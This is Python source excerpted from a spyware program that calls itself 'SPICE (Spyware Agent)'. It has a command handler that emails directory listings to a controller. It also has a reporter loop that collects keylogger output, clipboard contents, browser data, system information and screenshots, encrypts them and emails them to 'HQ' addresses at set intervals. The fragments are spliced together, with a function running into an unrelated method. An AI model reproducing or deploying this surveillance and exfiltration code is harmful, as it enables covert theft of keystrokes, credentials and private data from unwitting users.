def PerformTask(command):
    # If user gave command like '$ show_directory_list D:\Videos'
    if "$ show_directory_list " in command:
        directoryList = (FolderContent()).GetDirectoryContent((command.split("$ show_directory_list "))[1])

        email = SendEmail()
        email.SendFrom = AGENT_EMAIL_ADDRESS
        email.Password = AGENT_EMAIL_PASSWORD
        email.SendTo = AGENT_HQ_EMAIL_ADDRESSES
        email.Subject = "output of " + command + " from " + getpass.getuser() + " at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time()))
        email.Text = directoryList
        email.Server = AGENT_EMAIL_SENDING_SERVER
        email.start()
    def run(self):
        self._lastTime = time.time()

        while RUN_REPORTER:
            self._currentTime = time.time()

            # Gathering report from report folder
            if (self._currentTime - self._lastTime) >= REPORTER_REPORT_TIME_INTERVAL:
                self._report = "<-[ SPICE " + VERSION + " (Spyware Agent) Report for \'" + getpass.getuser() + "\' at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())) + " ]->\n"

                if RUN_KEYLOGGER and os.path.exists(KEY_LOGGER_REPORT_FILE_NAME):
                    self._report += "[ KEY LOGGER ]" + GetFileContent(KEY_LOGGER_REPORT_FILE_NAME)

                if RUN_CLIPBOARD_COPIER and os.path.exists(CLIPBOARD_COPIER_FILE_NAME):
                    self._report += "\n\n[ CLIPBOARD COPIER ]" + GetFileContent(CLIPBOARD_COPIER_FILE_NAME) + "\n\n"

                if RUN_WEB_BROWSER_DIGGER and os.path.exists(WEB_BROWSER_DIGGER_FILE_NAME):
                    self._report += "\n\n[ WEB BROWSER DIGGER ]" + GetFileContent(WEB_BROWSER_DIGGER_FILE_NAME) + "\n\n"

                if RUN_SYSTEM_INFORMATION and os.path.exists(SYSTEM_INFORMATION_FILE_NAME):
                    self._report += "\n\n[ SYSTEM INFORMATION (for " + getpass.getuser() + ") ]\n" + GetFileContent(SYSTEM_INFORMATION_FILE_NAME) + "\n\n"

                # Encrypting those text report
                SaveContent(AGENT_LOCATION + "Report\\report.dat", (AESCipher(ENCRYPTION_PASSWORD)).Encrypt(self._report), FileMode["WRITE"])
                os.chdir(AGENT_LOCATION + "Report")

                # Attaching report file for emailing
                reportAttachments = [ "report.dat" ]
                allFilesAndFoldersInReport = os.listdir(AGENT_LOCATION + "Report")

                for reportFile in allFilesAndFoldersInReport:
                    if HasExtension(reportFile, ".png") or HasExtension(reportFile, ".jpg"):
                        reportAttachments.append(reportFile)

                # Now sending email
                sEmail = SendEmail()
                sEmail.SendFrom = AGENT_EMAIL_ADDRESS
                sEmail.Password = AGENT_EMAIL_PASSWORD
                sEmail.SendTo = AGENT_HQ_EMAIL_ADDRESSES
                sEmail.Subject = "Report of \'" + getpass.getuser() + "\' at " + time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time()))
                sEmail.Text = ""
                sEmail.Files = reportAttachments
                sEmail.Server = AGENT_EMAIL_SENDING_SERVER
                sEmail.start()

                self._lastTime = time.time()

            time.sleep(REPORTER_REPORT_TIME_INTERVAL)